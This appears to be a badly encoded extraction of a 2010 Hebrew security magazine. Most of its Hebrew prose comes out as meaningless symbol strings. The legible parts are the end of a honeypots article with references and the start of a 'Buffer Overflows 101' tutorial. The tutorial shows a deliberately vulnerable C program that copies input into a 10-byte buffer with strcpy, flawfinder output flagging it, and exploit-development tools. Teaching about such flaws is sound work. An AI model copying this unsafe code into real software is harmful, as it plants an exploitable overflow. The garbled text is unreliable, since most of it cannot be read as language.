 ˣˬ˩ ˟˶ ˰ˡ˧ˬ ˣ˩ˣ˸˟ ˪˪ˣ˩˷User Agent ˢ ˸ˣ˟ˣ˸˩ ˸˞ˣ-IP. 
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 ˞˷ˣˮ˟ ˦˵˧˧ˣ˶˲Honeypots 
 

˷ ˭˧˧ˮ˰ˬ ˞˷ˣˮ ˭ˢ ˷˟ˡˢ ˸ˣˡˣ˩˪ˬ˭˸˧ˮ ˡˣ˰ˣ ˡˣ˰ ˥˸˲˪ˣ ˶ˣ˵˥˪ .˭˧˧ˮ˰ˢˬ ˵˪˥˩ ,˸ˣˣˢˬ ˭ˢ  ˥ˣ˸˧˲˪ ˞˷ˣˮ

˥ˣˣ˦ ˧˩ˣ˶˞ˣ ˫˧˵˲ˣ˞ ˧˟˥˶ ˫˧˦˵˧˧ˣ˶˲ ,˞˷ˣˮ˟ ˫˧ˬ˯˶ˣ˲ˬˢ ˫˧˦˵˧˧ˣ˶˲ˢ ˡ˥˞˪ ˢˬˠˣˡ ˞˧˟˞ ˢˤ ˶ˬ˞ˬ˟. 
 

 ˦˵˧˧ˣ˶˲NoAH ˭ˢ˧ˮ˧˟ ˸ˣ˶˷ˣ˵ˬˢ ˷˟ˡ ˸ˣˡˣ˩˪ˬ ˪˷ ˸˧˞˲ˣ˶˧˞ ˸˷˶ ˣˮ˧ˢ .˟ ˶˟ˣˡˬ ˭˟ ˦˵˧˧ˣ˶˲3  ˫˧ˮ˷

˷ˣ˸˶˦ˬ ˢ ˰˟˦ ˪˰ ˰ˡ˧ˬ ˱ˣ˯˞˪˸˷˶˟ ˸ˣ˲˵˸ˢ . ˵˲˯˸ˣ ˢˢˤ˸˷ ˸˧˸˷˸ ˥˸˲˪ ˞˧ˢ ˸˲˯ˣˮˢ ˣ˸˶˦ˬ

ˢ˪˞ ˸ˣ˲˵˸ˢ ˧˟ˠ˪ ˸ˣ˶ˢˤ˞ ,˨˩˪ ˫˞˸ˢ˟ ˫˧˰˴ˬ˞˟ ˦ˣ˵ˮ˪ ˪˩ˣˮ˷ ˸ˮˬ ˪˰ . 

˫˧˯ˣ˶˧ˣ ˭ˣˠ˩ ˸ˣ˲˵˸ˢ˟ ˢˡ˥ ˢ˧˪˰ ˢˬ˷˶ˮ ˸ˣˮˣ˶˥˞ˢ ˫˧ˮ˷˟ ,˫˧˰˪ˣ˸ , ˧˟˥˶˟ ˢˬˣˡ˩ˣ ˫˧˧˧ˮ˞˧ˣ˶˦ ˫˧˯ˣ˯

˦ˮ˶˦ˮ˧˞ˢ ˸˷˶ .˪˞ ˸ˣ˲˵˸ˢ xˣˬ˧˷˟˷ ˸ˣ˪˧˰˧ˢ ˸˞ ˸ˣˡ˧˶ˣˬ˦ˮ˶˦ˮ˧˞˟ ˷ , ˸ˣ˧˸˷˸˟ ˸ˣ˰ˠˣ˲IT  ˸ˣ˪ˣ˪˰ˣ

˸ˣ˶ˣ˲˯ ˸ˣ˵ˡ ˨ˣ˸ ˸˷˶˟ ˫˧˟˥˶ˮ ˫˧˵˪˥ ˪˰ ˦˪˸˷ˢ˪ . ˸ˣ˟ˣ˶˵ ˫˧˸˰˪˶˟ˡˢ  ˶˧ˢˬ ˭˲ˣ˞˟ ˢ˶ˣ˵

ˢ˪˞ ˫˧˟˴ˬ˟ ˡˠˮ ˧˰˴ˬ˞˟ ˟˧ˠ˧˷ ˧˦ˬˣ˦ˣ˞ ˭ˣˮˠˮˬ ˥ˣ˸˧˲˪ ˨˶ˣ˴ ˢˣˣˢˬˣ ˸˧˷ˣˮ˞ˢ ˢ˟ˣˠ˸ˢˬ. 

  

˸˧˸˷˸ ˪˷ ˥ˣ˸˧˲ˣ ˟ˣ˴˧˰ ˪˰ ˯˯ˣ˟ˬ ˦˵˧˧ˣ˶˲ˢ, ˦˟˞˪ˣ ˶˦ˮ˪ ˢˡ˰ˣˮ˷,˥ sˢ ˸˧˧ˠˣ˪ˣˮ˩˦ ˪˰ ˸˯˯ˣ˟ˬ-

Honeypots . ˸ˬˡ˵ˣˬ ˢ˶ˢˤ˞˪ ˧˪˩˩ ˫˧ˮˣ˷ ˸ˣˬˣ˵ˬ˟ ˸ˣ˶ˤˣ˲ˬˢ ˷˟ˡ ˸ˣˡˣ˩˪ˬ˟ ˷ˬ˸˷ˬ ˦˵˧ˣ˶˲ˢ

˶ˣ˦˧ˮˣ , ˸ˣ˞˶˸ˢ ˡˠˮ ˫˧ˬ˧ˣ˯ˬ ˫˧˰˴ˬ˞˟ ˟˧ˠˢ˪ ˭˸ˣ˞ ˸ˮ˩˸ˬˣ ˸ˣˡˣ˩˪ˬˢˬ ˫˧˪˟˵˸ˬ˷ ˫˧ˮˣ˸ˮˢ ˸˞ ˡ˟˰ˬ

˸ˣˬ˧ˣ˯ˬ . 
 

http://www.fp6-noah.org/
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˫ˣ˩˧˯ 
 

ˤ˞ ..˷˟ˡˢ ˸ˣˡˣ˩˪ˬˬ ˡ˥˲ˬ ˧ˬ ?˸˧˲ˢ ˸ˣ˶˰ˮ ˣˬ˩˪ˣˠ˧˶ˢ ˧˶ˣ˲˧˯˟ ˧ˣ ,˸ˣ˸˲ˬ ˭ˢ ,˸ˣ˧˟˧˦˵˶˦˞ ,˸ˣ˦˵˷ ,

ˢˮ˩˯ ˫ˣ˷ ˭˟ˣ˥˟ ˸ˣˮˬˣ˦ ˞˪ ˪ˣ˩˧˟˩ˣ ˸ˣˬ˧ˬ˸ ˭˧˦ˣ˪˥˪ ˸ˣ˞˶ˮ . ˱˵ˣ˸˪ ˫˪˷ˣˬˢ ˧ˣ˸˧˲ˢ ˸˞ ˸ˣˣˢˬ ˭ˢ

"˟˰˶ "˸˥˪˴ˣˬ ˢ˴˧˶˲˪ .˫˧ˡˡ˴ ˧ˮ˷ ˰˟˦ˬ˪˷ ˶ˣ˩ˤ˪ ˟ˣ˷˥ , ˥˲˟ ˪˲ˣˮ ˧ˮ˷ˢˣ ˥˲ˢ ˸˞ ˭ˬˣ˦ ˡ˥˞ ˡ˴

ˣ˪ ˣˮˬ˦˷ .˞˷ˣˮ˟ ˫˧˪˧˟ˣˬˢ ˸ˣˮˣ˶˵˰ˢ ˡ˥˞  ˸˞ ˱ˣ˯˞˪ˣ ˸ˣ˧ˣ˶˷˲˞ˢ ˪˩˪ ˰ˡˣˬ ˸ˣ˧ˢ˪ ˞ˣˢ ˰ˡ˧ˬˢ ˸˥˦˟˞

˥˲˟ ˪˲ˣˮ˷ ˢˤ ˸ˣ˧ˢ˪ˬ ˰ˮˬˢ˪ ˸ˮˬ ˪˰ ˧˶˷˲˞ˢ ˰ˡ˧ˬˢ ˪˩ . 
 

˟˸ˣ˩ˢ ˪˰ 
 

 ˦˶˲˟ ˰ˡ˧ˬ ˸˥˦˟˞˟ˣ ˥ˣ˸˧˲˟ ˵˯ˣ˰ ˭˧˧˷ ˪˞ˮ˸ˮ ,˥ˣ˸˲ˢ ˡˣ˵ˢ ˞˷ˣˮ˟ ˫˧ˮˣ˷ ˫˧˦˵˧˧ˣ˶˲˟ ˟˶ˣ˰ˬ, ˶˵˧˰˟  

 ˸ˣ˟ˡˮ˸ˢ˟ ,˶ˣ˵ˬˢ ˸˸ˣˬ˰˟ ˶˟˥ ,ˢ˥ˣ˸˲ˢ ˢ˦˧˯˶˟˧ˮˣ˞˟ ˟˷˥ˬˢ ˧˰ˡˬ˪ ˦ˮˡˣ˦˯ˣ ˵˦˧˧ˢ˟ ˡ˟ˣ˰ ˫ˣ˧˩.  

 

˯˧ˮ˩ˢ˪ ˟˧˧˥ ˧˸˧˧ˢ˷ ˶˟ˡ ˡˣ˰: 
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˸ˣ˶ˣ˵ˬ : 

1 .http://en.wikipedia.org/wiki/Honeypot_%28computing%29 

2 .http://www.honeypots.net/honeypots/links 

3 .http://www.projecthoneypot.org 

4 .drunkgeisha.noblogs.org )ˬ˭˞˩ ˞˟ ˫˧ˬ˧˷˶˸ˢ ˡ˥˞( 

5 .honeynet.org 

6 .holcroft.org 

7 .isoc.org 

8 .http://www.honeynet.org 

9 .http://www.ukhoneynet.org 

Honeypots by Reto Baumann and Christian Plattner .10 . 

11 .The Use of Honeypots and Packet Sniffers for Intrusion Detection by Michael Sink, P.E. 

12. A Guide to the Honeypot Concept Mark Pickett 

http://www.christianplattner.net .14 

.15 http://all.net/dtk/index.html 

.16 http://ghh.sourceforge.net/index.php 

http://www.christianplattner.net/
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Buffer Overflows 101 
˸˞ˬ ˧˷ ˡˣ˶ )NightRanger( 

 

ˢˬˡ˵ˢ 

 

˸ˣ˩˶˰ˬ˟ ˢ˥˦˟˞ ˸ˣ˴˶˲ ˸ˣ˶˷˰ ˸ˣˬ˯˶˲˸ˬˣ ˸ˣ˪ˠ˸ˬ ˫ˣ˧ ˧ˡˬ ,˫˧ˮˣ˷ ˫˧˶˴ˣˬˣ ˸ˣˮ˩ˣ˸ , ˸ˣ˧˪ˠ˸˪ ˸ˣˡˣ˸

ˢ˥˦˟˞ ˧˞˪˦ ˶˶˥˷˪ ˢˮ˩ˣ˸ˢ ˸ˣ˶˟˥˪ ˶˷˲˞˸ˬ ˭ˬˣ˯˶˲ˣ ˣ˪˞ ,ˣ ˸ˣ˩˶˰ˬ ˧˪ˢˮˬ˩ ˣˮ˪ˣ/ ˢ˴˵ˢ ˧˷ˬ˸˷ˬ ˣ˞

ˣ˰˧ ˣˮ˪˷ ˸ˣ˩˶˰ˬˢ˷ ˠˣ˞ˡ˪˫˞˸ˢ˟ ˣ˶˶˥ˣ˷˷ ˫˧˞˪˦ˢˣ ˸ˣ˶˧˷ˢ ˸ˣ˪˧˟˥ ˫˰ ˱˦ˣ˷ ˭˲ˣ˞˟ ˣˮ˩ˡ. 

ˢ˧ˢ˸ ˢ˪ˣ˰ ˢˤ ˞˷ˣˮ˟ ,˶˰˧˟ ˪˲ˣˮ ˳˰ ˫˞ ,ˣ˸ˣ˞ ˰ˬ˷˧˷ ˷˧˞ ˭˧˞ˣ ,˪ˣ˵ ˰˧ˬ˷ˬ ˸˞ˤ ˪˩˟ ˞ˣˢ ˫˞ˢ? 

ˢ˥˦˟˞ ˸ˣ˴˶˲ ˫ˠ ˨˩ ,ˣ˪ˠ˸ˢ ˭ˮ˧˞˷ ˥˧ˮˢ˪ ˭˸˧ˮ ˸ˣˬ˯˶ˣ˲ˬ ˭ˮ˧˞ ˫˞ ? 

ˣ˪ˠ˸ˢ ˭ˮ˧˞ ˭ˢ ˫˞ ,˸ˣˬ˧˧˵ ˭ˮ˧˞˷ ˥˧ˮˢ˪ ˭˸˧ˮ? 

˭˩˟ˣ , ˭˸˧ˮ ˸ˣ˩˥ˬ ˵˶˷ ˸ˣ˩˶˰ˬ ˸ˣ˞ˬ ˭ˮ˷˧ˣ ˶ˣ˟˧˴˪ ˣˬ˯˶ˣ˲ ˭ˮ˧˞˷ ˸ˣ˴˶˲ ˸ˣ˞ˬ ˸ˣˬ˧˧˵˷ ˭ˣ˥˦˧˟˟ ˶ˬˣ˪

˭ˢ˧˸ˣ˷˪ˣ˥ ˸˞ ˶˸˞˧ˣ ˢ˲˲˩ˢ ˸˞ ˫˧˶˧ ˣˢ˷˧ˬ˷. 

ˢ˥˦˟˞ ˸ˣ˷˪ˣ˥ ˪ˣ˴˧ˮ˪ ˸ˣ˟˶ ˧ˮ˧ˬ ˸˥˞ ˢ˦˧˷˟ ˭ˣˡˮ ˢˤ ˶ˬ˞ˬ˟ . ˫˷˟ ˢ˰ˣˡ˧ ˣˤ ˢ˦˧˷Buffer Overflow" "

ˣ˞- "˳˴ˣ˥ ˸˷˧˪ˠ." 

 

˳˴ˣ˥ ˸˷˧˪ˠ ˞˧ˢ ˢˬ? 

 

˸˷˧˪ˠ  ˰ˡ˧ˬ ˶˸ˣ˧ ˭ˣ˶˩˧ˤ˟ ˶ˣˤ˞˪ ˟ˣ˸˩˪ ˢ˯ˮˬ ˟˷˥ˬ ˸˧ˮ˩ˣ˸ ˶˷˞˩ ˸˷˥˶˸ˬˢ ˢˮ˩ˣ˸ ˸˞˧ˠ˷ ˞˧ˢ ˳˴ˣ˥

˪˧˩ˢ˪ ˪ˣ˩˧ ˞ˣˢ ˶˷˞ˬ , ˰ˡ˧ˬ ˣ˸ˣ˞"ˠ˪ˣˤ "˸ˣˮ˸˷ˢ˪ ˫˧˶ˣˬ˞ ˞˪˷ ˫˧ˮˣ˸ˮ ˢˮ˷ˬˣ ˳˴ˣ˥ˢ ˸ˣ˪ˣ˟ˠ˪ ˳ˣ˥ˬ. 

˫˸˴˶ˢˣ ˫˧˧ˮˣˡˤ ˫˧ˮˣ˸ˮ ˸˟˧˸˩ ˶˷˲˞˸˸ ˱˞ ˫˧ˬ˧ˣ˯ˬ ˫˧˶˵ˬ˟ˣ ˯ˣ˶˵˸ ˧˞ˡˣˣ˪ ˢˮ˩ˣ˸ˢ ˨˩ˬ ˢ˞˴ˣ˸˩  ˪˰

ˢˮ˩ˣ˸ˢ ˧ˡ˧. 

ˣˮ˪˷ ˫˧ˮˣ˸ˮ˪ˣ ˸ˣ˩˶˰ˬ˪ ˸˧˷ˬˬ ˢˮ˩˯ ˸ˣˣˢˬ ˶˷˞ ˸ˣ˟˶ ˢ˥˦˟˞ ˸ˣ˴˶˲˪ ˯˧˯˟ˢ ˣˢˤ. 

˫˷˟ ˸ˣ˞˶˵ˮˢ ˳˴ˣ˥ ˸˷˧˪ˠ˪ ˸ˣ˧˴˞˧˶ˣ ˧˸˷ ˸ˣˬ˧˧˵: 

¶ Stack Overflow )˸˧ˮ˯˥ˬ ˸˷˧˪ˠ( 

¶ Heap Overflow )ˢˬ˧˶˰ ˸˷˧˪ˠ.( 

 ˥ˮˣˬ˟ ˷ˬ˸˷ˢ˪ ˨˧˷ˬ˞ ˨˞ ˸˧ˮ˯˥ˬ ˸˷˧˪ˠ˟ ˡ˵ˬ˸ˮ ˣˮ˞ ˢˤ ˶ˬ˞ˬ ˨˶ˣ˞˪"˧˪ˠ˳˴ˣ˥ ˸˷." 
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˳˴ˣ˥ ˸˷˧˪ˠ˪ ˸ˣ˰˧ˠ˲ ˸ˣ˧˴˵˧˪˲˞ ˰ˣˡˬ? 

 

˭ˣˠ˩ ˸ˣˮ˩˸ ˸ˣ˲˷˟ :C x-C++  ˪˪˩ ˸ˣ˰˴˟˸ˬ ˭ˮ˧˞ ˫˧˶˵ˬˢ ˟ˣ˶˟ˣ ˭˞ˣ˪ˬ˟ ˸ˣ˪ˣ˟ˠ ˸ˣ˵˧ˡ˟ ˸ˣ˰˴˟˸ˬ ˞˪ ,

˭ˣ˶˩˧ˤ˟ ˶ˣˤ˧˞ ˪˩˪ ˰ˡ˧ˬ ˪˷ ˢ˟˧˸˩ ˸˰˧ˮˬ˪ ˢˮ˟ˣˬ ˭ˣˮˠˮˬ ˫˧˧˵ ˞˪ ˭˩ ˣˬ˩. 

 ˸˲˷˟C ˸ˣ˞˧˶˵ˢ ˸˞ ˪˴ˮ˪ ˭˸˧ˮ ˪˷ˬ˪strcpy(), sprintf(), vsprintf(), strcat(), scanf(), bcopy(), gets()  

ˣ˧˪˞ ˵˸˰ˣˢ˷ ˰ˡ˧ˬˢ ˸˞ ˪˧˩ˢ˪ ˪ˣ˩˧ ˸˧ˮ˯˥ˬ˟ ˢ˴˵ˣˢ˷ ˳˴ˣ˥ˢ ˫˞ˢ ˸ˣ˵ˡˣ˟ ˭ˮ˧˞ ˢ˪˞ ˸ˣ˧˴˵ˮˣ˲ˣ ˭ˣˣ˧˩ˬ. 

 

 

 ˢ˶ˣ˵ ˢˤ ˡ˴˧˩? 

 

˞˟ˢ ˶ˣ˵ˬˢ ˡˣ˵ ˪˰ ˦˟ˬ ˱˧˰ˮ ˸˷˥˶˸ˬ ˳˴ˣ˥ ˸˷˧˪ˠ ˡ˴˧˩ ˭˧˟ˢ˪ ˧ˡ˩: 

 

 

            

            

            

            

            

            

            

            

     

 

 

 

 

 

 

 

#include<stdio.h>  

#include <string.h>  

GetInput(char * str)  

{  

        char buffer[10];  

 strcpy(buffer,str);  

 printf("Your message is \ "%s\ " \ n",buffer);  

}  

main( int argc, char *argv[] )  

{  

      if( argc == 2 )  

  GetInput(argv[1]);  

 else  

  printf("One a rgument expected. \ n");  

         

 return 0;  

}  
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˨˯ˬˢ ˪˰ ˭˩ˬ ˶˥˞˪ ˣˠ˧˴˧ˣ ˷ˬ˸˷ˬˢˬ ˦˪˵˪ ˢ˲˴˧˷ ˧˶˞ˮ˧˟ ˳˟ˣ˵ ˪˟˵˸˧ ˣ˸˴˶ˢˣ ˡˣ˵ˢ ˶ˣˡ˧ˢ ˶˥˞˪ 

 ˪˷ ˪ˡˣˠ˟ ˳˴ˣ˥ ˢ˴˵ˣˢ˷ ˪˰ˬ ˡˣ˵˟ ˸ˣ˞˶˪ ˭˸˧ˮ10 ˫˧˸˟: 

char buffer[10];    

 

 ˢ˧˴˵ˮˣ˲ˢstrcpy() ˬ ˧ˮ˷ ˸˪˟˵ˬ˫˧ˣˣ˸ ˧˩˶˰ ,˶ˣ˵ˬˣ ˡ˰˧ . ˡ˰˧ˢˬ ˪ˣˡˠ ˶ˣ˵ˬˢ ˫˞strcpy()  ˶˟˰ˬ ˟ˣ˸˩˸

˳˴ˣ˥ˢ ˸ˣ˪ˣ˟ˠ˪ ,˶ˣ˵ˬˢˬ ˸˪˟˵˸ˬ˷ ˸ˤˣ˶˥ˬˢ ˪˷ ˢ˵˸˰ˢ ˸˰˴˟˸ˬ ˸˥˸ˬ ˢ˶ˣ˷˟(str)  ˡ˰˧˪(buffer)  

ˢ˧˴˵ˮˣ˲ˢ ˸ˣ˰˴ˬ˞˟: 

strcpy(buffer,str);  

 ˭˩ˣ˸ ˠ˴ˣ˧ ˭˩ˬ ˶˥˞˪buffer ˠ˴ˢ ˪˰: 

printf("Your message is \ "%s\ " \ n",bu ffer);  

 

 ˪˷ ˸ˤˣ˶˥ˬ ˢˡˣ˵˲ˢ ˸˶ˣ˷˟ ˭˧ˤˮ ˫˞ ˢ˶˵˧ ˢˬ30 ˫˧˸˟? 

 ˢ˞˴ˣ˸ˢ ˭˪ˢ˪: 

 

 ˫˩ˬ˴˰˪ ˫˧˟˷ˣ˥ ˫˸˞ˣ ˢ˞˴ˣ˸ˢ ˢ˧ˢ˸ ˢˬ ˫˸˷˥˧ˮ ˶˟˩ ˧˩ ˶˰˷˪ ˭˸˧ˮ"˧˧ˢ ,˶˟˰˟ ˣˤ˩ ˢ˞˧ˠ˷˟ ˧˸˪˵˸ˮ  ,

ˢ˸ˣ˞ ˫˧˪˴ˮˬ ˡ˴˧˩ˣ ˢ˥˦˟˞ ˸˴˶˲ ˧ˢˣˤ ˡ˴˧˩ ˨˞?" 



 

 

Buffer Overflows 101 
www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠ11 ,˦˯ˣˠˣ˞ 2010  60 

 

˭˩˟ˣ , ˪˰ ˸˧ˮ˩ˣ˸ˢ ˪˷ ˢ˸ˬ˧˶ˤ ˪˰ ˦ˣ˪˷˪ ˢ˯ˮˮ ˣˮ˞ ˨˷ˬˢ˟ ˢ˶ˣ˟˰ ˥˸˲˪ˣ ˧ˮˣˡˤ ˡˣ˵ ˳˧˶ˢ˪ ˪˩ˣˮ˷ ˸ˮˬ

Exploit. 

Exploit ˧ˮˣˡˤˢ ˡˣ˵ˢ ˸˞ ˣˮ˶ˣ˟˰ ˳˧˶˧ˣ ˯ˣ˶˵˪ ˢ˪ ˫ˣ˶ˠ˧ ˣˮ˪˷ ˢ˶˦ˬˢ ˸˞ ˪˴ˮ˧˷ ˧˪˩ˢ ˫˴˰˟ ˞ˣˢ. 

 

ˮˢ ˢˬˠˣˡ˟" ˢ˷˪ˣ˥ˢ ˧ˣˢ˧ˤ ˪˰ ˪˵ˢ˷ ˢˬ ˣˮ˸ˣ˷˶˟ ˞˴ˬˮ ˶ˣ˵ˬˢ ˡˣ˵ ˪)ˠ˞˟ .( 

˶˸˞˪ ˨˶˦˴ˮ ˣˮ˞ˣ ˶ˣ˵ˬˢ ˡˣ˵˪ ˢ˷˧ˠ ˣˮ˪ ˢ˧ˢ˸ ˞˪ ˫˧˶˵ˬˢ ˟ˣ˶˟  ˭ˣˡˮ ˭ˢ˟˷ ˸ˣ˶˥˞ ˫˧˩˶ˡ˟ ˢ˷˪ˣ˥ˢ ˸˞

˨˷ˬˢ˟. 

 

˷˶ˡˮ ˰ˡ˧ 

 

¶ ˯˵ˣˮ˧˪ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˸˟˧˟˯˟ ˢˡˣ˟˰ 

¶  ˧ˢ˷˪˩ ˸ˣˮ˩˸ ˸˲˷˟ ˰ˡ˧) ˧ˣ˴˶C/C++( 

¶ ˶˪˟ˬ˯˞ ˸˲˷˟ ˰ˡ˧ 

¶ ˭ˣˠ˩ ˠˮ˧˦˲˧˶˵˯ ˸ˣ˲˷ ˫˰ ˸ˣ˶˩˧ˢ :Perl   ˣ˞Python 

 

ˮˢ ˫˧˞˷ˣˮˢˬ ˡ˥˞˟ ˫˧˞˧˵˟ ˫˩ˮ˧˞ˣ ˢˡ˧ˬ˟"ˢˠ˞ˡ ˪˞ ˪ ,˫ˬ˧˰ ˸ˣ˶˩˧ˢ ˨ˣ˶˰ˮ ,˪ ˫ˮˬ˞ ˨˞ ˫˵ˬˣ˰˪ ˯ˮ˩ˮ ˞

˫˧˷ˣ˶ˡˢ ˫˧˪˩ˢ ˸˞ˣ ˢ˥˧˸˲ˢ ˸ˡˣ˵ˮ ˸˞ ˫˩˪ ˸˸˪ ˵˧˲˯˧ ˱˞ˣ ˢˤ ˶ˬ˞ˬ˪ ˷˶ˡˮ˷ ˧˦ˮˣˣ˪˶ˢ ˰ˡ˧ˬ˟ ˭ˣˡˮ. 

 

˫˧˪˩ˢ 

 

˶ˬ˞ˬˢ ˨˪ˢˬ˟ ˷ˬ˸˷ˮ ˫ˢ˟˷ ˫˧˪˩ˢ ˶ˣ˟˰ ˫˧˧˦ˮˣˣ˪˶ ˫˧˶ˣ˷˧˵ ˭˪ˢ˪: 

¶ BackTrack4 - http://www.backtrack-linux.org/downloads/ -  ˟˶ ˸˞ ˸˪˪ˣ˩ˢ ˯˵ˣˮ˧˪ ˸˴˲ˢ

ˢˤ ˶ˬ˞ˬ˪ ˫˧˷ˣ˶ˡˢ ˫˧˪˩ˢ. 

¶ Metasploit Framework - http://www.metasploit.com/ - ˢˠ˴ˢ ˷˶ˣˡ ˢˤ ˧˪˩ ˫˞ ˵˲˯˟ ˧ˮ˞ ,

ˢ ˸˵˧ˡ˟ˣ ˥ˣ˸˧˲˪ ˷ˬ˸˷ˮ ˢ˟˷ ˢˬ˶ˣ˲˦˪˲ˢ ˧ˢˣˤ ˨˞-Exploit. 

¶ ++DEV C - http://sourceforge.net/projects/dev-cpp/files/ -  ˸ˣ˲˷˪ ˶ˡˢˬC/C++ 

¶ Ollydbg - http://www.ollydbg.de/odbg110.zip  - ˮˣ ˸˵˧ˡ˟˪ ˷ˬ˷ˬˢ ˧˪˩ˡˣ˵˟ ˸ˣ˞˧ˠ˷ ˧ˣ˲˧. 

ˣ˞Immunity Debugger  - http://www.immunityinc.com/products-immdbg.shtml 

http://www.backtrack-linux.org/downloads/
http://www.metasploit.com/
http://sourceforge.net/projects/dev-cpp/files/
http://www.ollydbg.de/odbg110.zip
http://www.ollydbg.de/odbg110.zip
http://www.immunityinc.com/products-immdbg.shtml
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 ˥ˣ˸˧˲˪ ˯˥˧˧˸ˬ ˶ˬ˞ˬˢˣ ˭ˣˣ˧˩ˬExploit ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˸˟˧˟˯˟Windows XP + SP2   ˷ˬ˸˷ˢ˪ ˭˸˧ˮ

˧ˣˢ ˸ˣ˩˶˰ˬˬ ˸˥˞˟˸ˣˮˣ˪˥ˢ ˸˩˶˰ˬ ˣ˞ ˯˵ˣˮ˧˪ˢ ˸˩˶˰ˬ ˸˴˶ˢ˪ ˸ˣ˞˟ˢ ˢ˧˴ˤ˧˪˞ˣ˦˶: 

¶ VirtualBox - http://www.virtualbox.org/wiki/Downloads  

 ˣ˞VMWare - http://www.vmware.com/support/ 

˸ˣ˧˴˵˧˪˲˞˟ ˳˴ˣ˥ ˸˷˧˪ˠ ˶ˣ˸˧˞ 

 

˶ˣ˵ˬ ˡˣ˵ 

 

 ˸˵˧ˡ˟ ˫˷˟ ˫ˠ ˶˞˸˪ ˭˸˧ˮ ˶ˣ˵ˬ ˡˣ˵ ˪˷ ˢˮ˧˥˟ ˸ˣ˰˴ˬ˞˟ ˳˴ˣ˥ ˸˷˧˪ˠ ˶ˣ˸˧˞ ˨˧˪ˢ˸ ˸˞.Whitebox   

ˢ˵˧ˡ˟ ˧˪˩ ˸˶ˤ˰˟ ˣ˞ ˸˧ˮˡ˧ ˢ˶ˣ˴˟ ˰˴˟˪ ˭˸˧ˮ ˶ˣ˵ˬ ˡˣ˵ ˸ˮ˧˥˟ ,ˢ˯ ˭ˮ˷˧ ˢˠ˴ˣˢ˷ ˢˬˠˣˡ˟"˩ ˩-16  ˸ˣ˶ˣ˷

ˡˣ˵ ,˩ˢ˪ ˢ˪ˣ˩˧ ˸˧˯ˣ˲˧˦ ˟˷˥ˬ ˸˧ˮ˩ˣ˸ ˨˞ ˪ˣ˪˰ ˧ˮˡ˧ˢ ˢ˵˧ˡ˟ˢ ˨˧˪ˢ˸˷ ˨˩ ˡˣ˵ ˸ˣ˶ˣ˷ ˧˲˪˞ ˱˞ˣ ˸ˣ˞ˬ ˪˧

˧˦˵˶˲ ˞˪ ˱˞ˣ ˷˧˸ˬ˪ ˨ˣ˲ˢ˪. 

 ˸ˣ˧˴˵ˮˣ˲ ˣˮ˶ˣ˟˰ ˣ˶˸˞˧ˣ ˶ˣ˵ˬˢ ˡˣ˵ ˪˰ ˣ˶˟˰˧ ˢ˵˧ˡ˟ ˧˪˩"˸ˣˡˣ˷˥ "ˢ˧˰˟ ˸ˣˣˢ˪ ˸ˣ˪ˣ˪˰ ˶˷˞ , ˷˧˷ ˭˟ˣˬ˩

ˢ˵˧ˡ˟ˢ ˧˪˩ ˸ˣ˞˴ˣ˸˪ ˧ˮˡ˧ ˸ˣˬ˧˞ ˰˴˟˪. 

˞˶˵ˮ ˡˣ˵ ˸ˣ˵˧ˡ˟ ˰ˣ˴˧˟˪ ˫˧˪˩ˢ ˡ˥˞Flawfinder  - http://www.dwheeler.com/flawfinder/ 

˰ ˢ˰˴ˣ˟˷ ˢ˵˧ˡ˟ ˸ˣ˞˴ˣ˸ ˭˪ˢ˪"˧Flawfinder  ˣˮ˪˷ ˢˬˠˣˡˢ ˡˣ˵˪: 

 

 

 

 

 

 

 

 

root@Blackbox : ~# flawfinder bof .c  

Flawfinder version 1.27, (C) 2001 - 2004 David A. Wheeler.  

Number of dangerous functions in C/C++ ruleset: 160  

Examining demo.c  

demo.c:6:  [4] (buffer) strcpy:  

  Does not check f or buffer overflows when copying to destination.  

  Consider using strncpy or strlcpy (warning, strncpy is easily misused).  

demo.c:5:  [2] (buffer) char:  

  Statically - sized arrays can be overflowed. Perform bounds checking,  

  use functions that limit length , or ensure that the size is larger than  

  the maximum possible length.  

Hits = 2  

Lines analyzed = 18 in 0.52 seconds (1105 lines/second)  

Physical Source Lines of Code (SLOC) = 18  

Hits@level = [0]   0 [1]   0 [2]   1 [3]   0 [4]   1 [5]   0  

Hits@level+ = [0 +]   2 [1+]   2 [2+]   2 [3+]   1 [4+]   1 [5+]   0  

Hits/KSLOC@level+ = [0+] 111.111 [1+] 111.111 [2+] 111.111 [3+] 55.5556 [4+] 

55.5556 [5+]   0  

Minimum risk level = 1  

Not every hit is necessarily a security vulnerability.  

There may be other security vuln erabilities; review your code!  

http://www.virtualbox.org/wiki/Downloads
http://www.vmware.com/support/
http://www.dwheeler.com/flawfinder/
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˯ˣˡˮˢ ˶ˣ˥˞˪ 

 

 ˧ˤ˰ˣ˪ˢ ˣˬ˷˟ ˣ˞,Reverse Engineering  ˸˵˧ˡ˟˩ ˫ˠ ˶˞˸˪ ˭˸˧ˮGraybox. 

˟˪ ˫˸ˬ˷˷ ˧˲˩ ,˵˪ ˢ˷˧ˠ ˸˪ˣ˰˲ ˪˰ ˸ˡ˵˲˸ˬ ˢˮ˩ˣ˸ˢ ˨˧˞ ˧˟ˠ˪ ˶˸ˣ˧ ˢ˲˧˵ˬ ˢˮ˟ˢ ˸˵˲˯ˬ ˶ˣ˵ˬˢ ˡˣ

˭˷ˣˬ˧ˬˣ ˸ˣˬ˧˧˵ˢ ˸ˣ˧˴˵ˮˣ˲ˢ , ˟ˣ˶˵ ˧˩ˢ ˶˟ˡˢ ˭˩˪ˣ ˫˧˶˵ˬˢ ˟ˣ˶˟ ˸˶˷˲˞˸ˬ ˢˮ˧˞ ˶ˣ˵ˬ ˡˣ˵˪ ˢ˷˧ˠ ˨˞

ˢˮ˩ˣ˸ˢ ˸˪ˣ˰˲ˣ ˡˣ˵ˢ ˸˟˧˸˩ ˸˶ˣ˴˪ ˸˧˪˪˩ ˸˶ˠ˯ˬ ˧ˢ˷ˣˤ˧˞ ˣˮ˪ ˵˲˯˧˷ ˶ˣ˥˞˪ ˯ˣˡˮˢ ˨˧˪ˢ˸ ˞ˣˢ ˨˩˪. 

ˬˢ˪ ˭˸˧ˮ ˞˪ ˫ˮˬ˞˰ ˠ˴ˣ˧ˬˢ ˡˣ˵˪ ˣ˶˧ˬˢ˪ ˭˸˧ˮ ˨˞ ˶ˣ˵ˬ ˡˣ˵˪ ˶ˡˣˢˬˢ ˳˟ˣ˵ˢ ˸˞ ˶˧"˶˪˟ˬ˯˞ ˸ˣ˞˶ˣˢ ˧. 

